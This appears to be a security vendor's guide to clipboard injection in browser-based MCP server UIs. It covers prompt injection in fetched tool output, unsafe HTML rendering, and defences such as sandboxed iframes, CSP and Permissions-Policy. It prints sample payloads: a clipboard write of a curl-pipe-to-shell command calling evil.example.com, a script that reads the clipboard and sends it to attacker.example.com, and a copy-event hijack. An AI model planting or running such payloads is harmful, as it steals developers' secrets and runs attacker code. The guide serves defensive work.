MCP Server Security · Clipboard Injection

MCP server clipboard injection security — clipboard API abuse, clipboard poisoning via tool output, and Clipboard.readText() permission exploitation in browser-based MCP UIs

Clipboard injection occurs when an MCP server browser UI renders tool output that contains a payload which, through XSS or a crafted UI element, writes malicious content to the user's clipboard — replacing what the user intended to copy with a command chosen by the attacker. When the user pastes the copied content into a terminal, another application, or another tool call, the attacker's string executes instead of the expected one. In MCP browser UIs, this attack is particularly severe because users routinely copy code snippets and commands returned by agent tool calls.

The clipboard poisoning attack chain in MCP UIs

The canonical attack requires two conditions: a way to inject JavaScript into the MCP UI (typically via prompt injection in tool output that causes unsafe HTML rendering), and a "copy" button or keyboard shortcut that calls navigator.clipboard.writeText() with attacker-controlled content.

Step-by-step attack:

  1. Attacker places a prompt injection payload in an external resource (web page, file, API response) that an MCP tool will fetch.
  2. The MCP tool returns attacker-controlled content. If the UI renders LLM output as HTML (e.g., via innerHTML), the attacker's payload executes.
  3. The payload calls navigator.clipboard.writeText('curl https://evil.example.com | sh') silently — the Clipboard API requires a user gesture in most browsers, but a click on any element (including a fake "copy" button rendered by the attacker's HTML) counts as a user gesture.
  4. The developer, expecting a safe command in their clipboard, pastes into a terminal and executes the attacker's command.

Clipboard poisoning converts an XSS in an MCP UI into local code execution on the developer's machine. The attacker never needs to compromise the MCP server itself — they only need to control a resource that an MCP tool fetches, combined with unsafe HTML rendering of tool output in the UI.

The Clipboard.readText() exfiltration vector

The attack works in reverse too. navigator.clipboard.readText() requires the clipboard-read permission, which browsers prompt the user to grant. If an MCP UI has already been granted this permission (perhaps for a legitimate paste feature), and the UI renders attacker-controlled HTML, the injected script can silently read the clipboard and exfiltrate its contents — API keys, passwords, or secrets a developer just copied from their password manager.

// Malicious payload injected via tool output HTML rendering
// Executes when rendered as innerHTML in a privileged MCP UI

(async () => {
  try {
    const contents = await navigator.clipboard.readText();
    // Exfiltrate clipboard contents to attacker's server
    await fetch('https://attacker.example.com/exfil', {
      method: 'POST',
      body: JSON.stringify({ clipboard: contents, url: location.href }),
      headers: { 'Content-Type': 'application/json' }
    });
  } catch (e) {
    // Permission denied — silently fail, no trace for the victim
  }
})();

Clipboard event hijacking

A subtler attack doesn't need to call the Clipboard API directly. Event listener injection can intercept the native copy/paste shortcuts:

// Injected via unsafe innerHTML rendering
document.addEventListener('copy', (e) => {
  // Override what gets placed on clipboard when user presses Ctrl+C
  e.clipboardData.setData('text/plain', 'curl https://evil.example.com | sh');
  e.preventDefault(); // Suppress default copy behavior
}, true); // Capture phase — fires before any other copy handler

This attack works even when the Clipboard API is disabled or the user hasn't granted clipboard-write permission. The copy event always fires on Ctrl+C and is synchronous within the page, making it the most reliable clipboard hijack vector when the attacker can inject JavaScript.

Defense: preventing clipboard injection

DefenseWhat it blocksImplementation
Never render tool output as innerHTMLEliminates the JavaScript injection prerequisiteUse textContent for text, DOMParser + allowlist for intentional HTML
Sandbox tool output in iframes (blob URL + sandbox="")Sandboxed origin cannot call Clipboard API or add document-level event listenerssandbox="allow-same-origin" is not set — no clipboard, no storage, no scripts
Strict CSP with noncePrevents inline script execution in the main documentscript-src 'nonce-...' 'strict-dynamic' — injected scripts without nonce are blocked
Permissions-Policy: clipboard-read=(), clipboard-write=()Disables Clipboard API access entirely for the document and all iframesHTTP response header: Permissions-Policy: clipboard-read=(), clipboard-write=()
Implement copy buttons server-side with signed payloadsCopy button can only copy content from a server-signed allow-listEach "copy" button includes a HMAC-signed expected value; verify before writing to clipboard

The most practical defense is sandboxed iframes for tool output. Render all tool-produced HTML (code blocks, tables, rich output) in a blob URL iframe with sandbox="" — no allow-same-origin, no allow-scripts. The sandboxed iframe has a null origin and cannot access the Clipboard API, cannot attach event listeners to the parent document, and cannot communicate except via postMessage. This eliminates clipboard injection even if the content is attacker-controlled HTML.

Clipboard write restriction with Permissions-Policy

// Express middleware: disable Clipboard API for all responses
app.use((req, res, next) => {
  // Restrict clipboard-read and clipboard-write to only same-origin top-level frames
  res.setHeader(
    'Permissions-Policy',
    'clipboard-read=(self), clipboard-write=(self)'
  );
  // For maximum restriction (no copy buttons needed):
  // 'clipboard-read=(), clipboard-write=()'
  next();
});

Setting clipboard-write=(self) means only the top-level same-origin page can call navigator.clipboard.writeText() — cross-origin iframes and injected scripts from a different context cannot. Setting clipboard-write=() disables it entirely, which is appropriate if your MCP UI doesn't offer any "copy to clipboard" button feature.

SkillAudit findings for clipboard security in MCP server UIs

CRITICAL −22Tool output rendered via innerHTML or dangerouslySetInnerHTML with no sanitization — attacker-controlled HTML from tool results executes scripts that can call navigator.clipboard.writeText() or attach copy event listeners
HIGH −16No Permissions-Policy: clipboard-write=() header — Clipboard API available to any injected script in the MCP UI document without additional permission prompts in privileged contexts
HIGH −14Tool output rendered in same-origin iframes with allow-same-origin — sandboxed origin inherits parent's Clipboard API permissions, allowing injected scripts in tool output to write to clipboard
MEDIUM −10Copy-to-clipboard buttons in MCP UI copy the entire tool response without validation — prompt injection can cause LLM to include malicious text in the copyable response field
MEDIUM −8No CSP protecting the MCP UI — clipboard injection via event listener attachment requires script injection as a prerequisite; CSP with nonce prevents the script injection step

See also: MCP Server CSP Deep Dive · Prompt Injection · Tool Output Encoding

Run a free SkillAudit on your MCP server →